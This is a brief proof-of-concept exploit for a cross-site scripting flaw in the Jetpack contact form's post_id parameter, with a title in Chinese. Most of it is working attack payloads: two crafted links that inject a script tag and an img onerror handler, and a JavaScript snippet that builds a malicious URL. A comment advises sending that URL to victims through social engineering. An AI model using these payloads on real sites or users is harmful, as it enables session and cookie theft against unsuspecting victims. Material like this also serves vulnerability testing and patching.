CVE-2023-54332: Jetpack联系表单post_id参数XSS漏洞

<!-- CVE-2023-54332 XSS PoC --> <!-- Malicious URL to trigger XSS via post_id parameter --> <a href='http://target-site.com/?p=1&post_id="><script>alert(document.cookie)</script>'>Click Here</a> <!-- Alternative PoC with event handler --> <a href='http://target-site.com/?p=1&post_id="><img src=x onerror=alert(String.fromCharCode(88,83,83))>>'>Click Here</a> <!-- Automated PoC testing script --> <script> const targetUrl = 'http://target-site.com'; const xssPayload = '<script>alert(document.domain)</script>'; const maliciousUrl = `${targetUrl}/?post_id=${encodeURIComponent(xssPayload)}`; console.log('Malicious URL:', maliciousUrl); // Send this URL to victim via social engineering </script>